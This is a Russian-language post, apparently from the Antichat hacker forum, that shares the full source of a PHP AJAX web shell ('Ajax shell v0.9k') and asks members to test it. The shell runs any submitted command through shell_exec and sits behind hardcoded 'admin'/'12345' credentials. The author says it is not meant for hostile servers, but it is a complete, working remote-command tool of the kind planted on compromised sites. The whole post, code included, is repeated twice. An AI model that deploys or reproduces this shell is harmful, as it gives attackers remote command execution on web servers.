InetEssence
31.08.2009, 03:31
Здравствуйте, уважаемые участники античата. С целью улучшения своих навыков программирования мы задались целью создать web shell. Вот, что у нас получилось к этому моменту:
<?php
session_start();
$file = $_SERVER["SCRIPT_NAME"];
// Future-friendly json_encode
if( !function_exists('json_encode') ) {
function json_encode($data) {
$json = new Services_JSON();
return( $json->encode($data) );
}
}
//Authorization
$LoginSuccessful = false;
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])){
$Username = $_SERVER['PHP_AUTH_USER'];
$Password = $_SERVER['PHP_AUTH_PW'];
if ($Username == 'admin' && $Password == '12345'){
$LoginSuccessful = true;
}
}
if (!$LoginSuccessful){
header('WWW-Authenticate: Basic realm="Please, log in"');
header('HTTP/1.0 401 Unauthorized');
print "Login failed!\n";
die;
}
//Running commands in ajax mode
if (isset($_GET['ajaxmode'])) {
//Variables initializing
$cmd = trim($_POST['cmd']);
$osname = php_uname()."<br/>";
//Changing directories and running commands
if (empty($_SESSION['path'])) { $_SESSION['path'] = '.';}
chdir($_SESSION['path']);
if (preg_match("/cd (.*)/",$cmd,$matches)) {
chdir ($matches[1]);
$cmdresult = nl2br(shell_exec('ls'));
$cmdlog = 'cd '.$matches[1];
} elseif (preg_match("/chdir (.*)/",$cmd,$matches)) {
chdir ($matches[1]);
$cmdresult = nl2br(shell_exec('dir'));
$cmdlog = 'chdir '.$matches[1];
} else {
$cmdresult = nl2br(shell_exec($cmd));
$cmdlog = $cmd;
}
$path = getcwd();
$_SESSION['path'] = $path;
$_SESSION['cmdlog'][] = $cmdlog;
//Output resulting array
echo json_encode(array("osname" => $osname, "result" => $cmdresult, "dpath" => $path, "cmdlog" => array_reverse($_SESSION['cmdlog']), "lcommand" => $cmdlog));
die;
}
//Destroying session
if (isset($_GET['clearsess'])) {
session_destroy();
die;
}
?>
<html>
<head><title>Ajax shell v0.9k</title>
<style type="text/css">
* { padding: 0;margin: 0 }
#output {
width: 70%;
background-color: black;
color: white;
border: 7px solid #999;
padding: 5px 5px;
}
#wrapper {
padding: 3% 0 0 5%;
}
#cmdlog {
color: yellow;
}
#lcommandw {
background-color: #999;
color: black;
width: 250px;
}
#lcommand {
padding:3px 0 0 7px;
font-size: 18px;
background-color: #6699CC;
color: white;
border: 7px solid #999;
border-bottom: none;
border-right: none;
width:210px;
display:inline-block;
}
#clog {
width: 15px;
display: inline-block;
background-color: #6699CC;
font-size: 20px;
text-align: center;
}
#clog a {
text-decoration: none;
color: #FFFF99;
}
#clog-view {
background: green;
position: absolute;
overflow: hidden;
visibility: hidden;
width: 150px;
margin: -20px 0 0 0;
font-size: 14px;
text-align: left;
max-height: 80%;
}
</style>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load("jquery", "1.3");
</script>
<script src="http://jqueryui.com/latest/ui/effects.core.js"></script>
<script type="text/javascript">
// Sending request to the ajax-response part of the application
function runcmd () {
$.post("<?=$file;?>?ajaxmode", $("#command").serialize(), function(data){
$("#cmd").val('');
$("#shortinfo").html(data.osname);
$("#dpath").html(data.dpath);
$("#lcommand").html(data.lcommand);
$("#clog-view").html('');
$.each(data.cmdlog, function(i,item){
$("#clog-view").append('<li onmouseover="viewSel('+i+');return false;" onmouseout="viewUnsel('+i+');return false;" onclick="setCommand('+i+');return false;" id="cmdi'+i+'">' + item + '</li>');
if ( i == 9001 ) return false;
});
$("#output").hide(500, function() {$("#output").html(data.result);$("#output").slideDown(1000);});
},"json");
}
//Showing colored hover
function viewSel(i) {
$("#cmdi"+i).animate({ backgroundColor: "yellow" }, 100);
}
//Put color back
function viewUnsel(i) {
$("#cmdi"+i).animate({ backgroundColor: "green" }, 500);
}
//Inserting command to the command running text box
function setCommand(i) {
$("#cmd").val($("#cmdi"+i).text());
$("#clog-view").css('visibility', 'hidden');
$("#cmd").focus();
}
//Javascript animations, basic actions
$(document).ready(function(){
$("#cmd").keypress(function(k) {if (k.which == 13) { runcmd(); }});
$("#cl").click(function() { runcmd(); });
$("#sessd").click(function() { $.post("<?=$file;?>?clearsess"); });
$('#clog').hover(function() {$("#clog-view").css('visibility', 'visible');},function () {$("#clog-view").css('visibility', 'hidden');});
});
</script>
</head>
<body>
<div style="float:right"><a id="sessd" href="#session_destroy" onclick="return false;">Clear session</a></div>
<div id="wrapper">
<form id="command" name="command" action="#command" onsubmit="return false;">
<input type="text" id="cmd" name="cmd" style="width:50%"/>
<a href="#command" onclick="return false;" id="cl">Run</a>
</form><br/>
<span id="dpath"> </span>
<div id="shortinfo"> </div><br/>
<div id="lcommandw">
<div id="lcommand"> </div>
<div id="clog"><a href="#command_log"><b>↓</b></a><ul id="clog-view"> </ul></div>
</div>
<div id="output"> </div>
</div>
</body>
<!-- (c) InetEssence -->
</html>
У нас к вам, уважаемые участники античата, большая просьба, пожалуйста, потестируйте на вашей системе(ах) и покритикуйте текущую версию.
Спасибо.
Шелл не предназначается для запуска на "вражеских" серверах, это просто небольшая оболочка, если вам нужно сделать что-то на ваших серверах. Да, функционала еще нет, поэтому мы и создали тему, чтобы узнать, чем следует доукомплектовать продукт.
Для тех кто не знает азов английского комментарии в коде будут трудно читаемы.
<?php
session_start();
$file = $_SERVER["SCRIPT_NAME"];
// Future-friendly json_encode
if( !function_exists('json_encode') ) {
function json_encode($data) {
$json = new Services_JSON();
return( $json->encode($data) );
}
}
//Authorization
$LoginSuccessful = false;
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])){
$Username = $_SERVER['PHP_AUTH_USER'];
$Password = $_SERVER['PHP_AUTH_PW'];
if ($Username == 'admin' && $Password == '12345'){
$LoginSuccessful = true;
}
}
if (!$LoginSuccessful){
header('WWW-Authenticate: Basic realm="Please, log in"');
header('HTTP/1.0 401 Unauthorized');
print "Login failed!\n";
die;
}
//Running commands in ajax mode
if (isset($_GET['ajaxmode'])) {
//Variables initializing
$cmd = trim($_POST['cmd']);
$osname = php_uname()."<br/>";
//Changing directories and running commands
if (empty($_SESSION['path'])) { $_SESSION['path'] = '.';}
chdir($_SESSION['path']);
if (preg_match("/cd (.*)/",$cmd,$matches)) {
chdir ($matches[1]);
$cmdresult = nl2br(shell_exec('ls'));
$cmdlog = 'cd '.$matches[1];
} elseif (preg_match("/chdir (.*)/",$cmd,$matches)) {
chdir ($matches[1]);
$cmdresult = nl2br(shell_exec('dir'));
$cmdlog = 'chdir '.$matches[1];
} else {
$cmdresult = nl2br(shell_exec($cmd));
$cmdlog = $cmd;
}
$path = getcwd();
$_SESSION['path'] = $path;
$_SESSION['cmdlog'][] = $cmdlog;
//Output resulting array
echo json_encode(array("osname" => $osname, "result" => $cmdresult, "dpath" => $path, "cmdlog" => array_reverse($_SESSION['cmdlog']), "lcommand" => $cmdlog));
die;
}
//Destroying session
if (isset($_GET['clearsess'])) {
session_destroy();
die;
}
?>
<html>
<head><title>Ajax shell v0.9k</title>
<style type="text/css">
* { padding: 0;margin: 0 }
#output {
width: 70%;
background-color: black;
color: white;
border: 7px solid #999;
padding: 5px 5px;
}
#wrapper {
padding: 3% 0 0 5%;
}
#cmdlog {
color: yellow;
}
#lcommandw {
background-color: #999;
color: black;
width: 250px;
}
#lcommand {
padding:3px 0 0 7px;
font-size: 18px;
background-color: #6699CC;
color: white;
border: 7px solid #999;
border-bottom: none;
border-right: none;
width:210px;
display:inline-block;
}
#clog {
width: 15px;
display: inline-block;
background-color: #6699CC;
font-size: 20px;
text-align: center;
}
#clog a {
text-decoration: none;
color: #FFFF99;
}
#clog-view {
background: green;
position: absolute;
overflow: hidden;
visibility: hidden;
width: 150px;
margin: -20px 0 0 0;
font-size: 14px;
text-align: left;
max-height: 80%;
}
</style>
<script type="text/javascript" src="http://www.google.com/jsapi"></script>
<script type="text/javascript">
google.load("jquery", "1.3");
</script>
<script src="http://jqueryui.com/latest/ui/effects.core.js"></script>
<script type="text/javascript">
// Sending request to the ajax-response part of the application
function runcmd () {
$.post("<?=$file;?>?ajaxmode", $("#command").serialize(), function(data){
$("#cmd").val('');
$("#shortinfo").html(data.osname);
$("#dpath").html(data.dpath);
$("#lcommand").html(data.lcommand);
$("#clog-view").html('');
$.each(data.cmdlog, function(i,item){
$("#clog-view").append('<li onmouseover="viewSel('+i+');return false;" onmouseout="viewUnsel('+i+');return false;" onclick="setCommand('+i+');return false;" id="cmdi'+i+'">' + item + '</li>');
if ( i == 9001 ) return false;
});
$("#output").hide(500, function() {$("#output").html(data.result);$("#output").slideDown(1000);});
},"json");
}
//Showing colored hover
function viewSel(i) {
$("#cmdi"+i).animate({ backgroundColor: "yellow" }, 100);
}
//Put color back
function viewUnsel(i) {
$("#cmdi"+i).animate({ backgroundColor: "green" }, 500);
}
//Inserting command to the command running text box
function setCommand(i) {
$("#cmd").val($("#cmdi"+i).text());
$("#clog-view").css('visibility', 'hidden');
$("#cmd").focus();
}
//Javascript animations, basic actions
$(document).ready(function(){
$("#cmd").keypress(function(k) {if (k.which == 13) { runcmd(); }});
$("#cl").click(function() { runcmd(); });
$("#sessd").click(function() { $.post("<?=$file;?>?clearsess"); });
$('#clog').hover(function() {$("#clog-view").css('visibility', 'visible');},function () {$("#clog-view").css('visibility', 'hidden');});
});
</script>
</head>
<body>
<div style="float:right"><a id="sessd" href="#session_destroy" onclick="return false;">Clear session</a></div>
<div id="wrapper">
<form id="command" name="command" action="#command" onsubmit="return false;">
<input type="text" id="cmd" name="cmd" style="width:50%"/>
<a href="#command" onclick="return false;" id="cl">Run</a>
</form><br/>
<span id="dpath"> </span>
<div id="shortinfo"> </div><br/>
<div id="lcommandw">
<div id="lcommand"> </div>
<div id="clog"><a href="#command_log"><b>↓</b></a><ul id="clog-view"> </ul></div>
</div>
<div id="output"> </div>
</div>
</body>
<!-- (c) InetEssence -->
</html>
У нас к вам, уважаемые участники античата, большая просьба, пожалуйста, потестируйте на вашей системе(ах) и покритикуйте текущую версию.
Спасибо.
Шелл не предназначается для запуска на "вражеских" серверах, это просто небольшая оболочка, если вам нужно сделать что-то на ваших серверах. Да, функционала еще нет, поэтому мы и создали тему, чтобы узнать, чем следует доукомплектовать продукт.
Для тех кто не знает азов английского комментарии в коде будут трудно читаемы.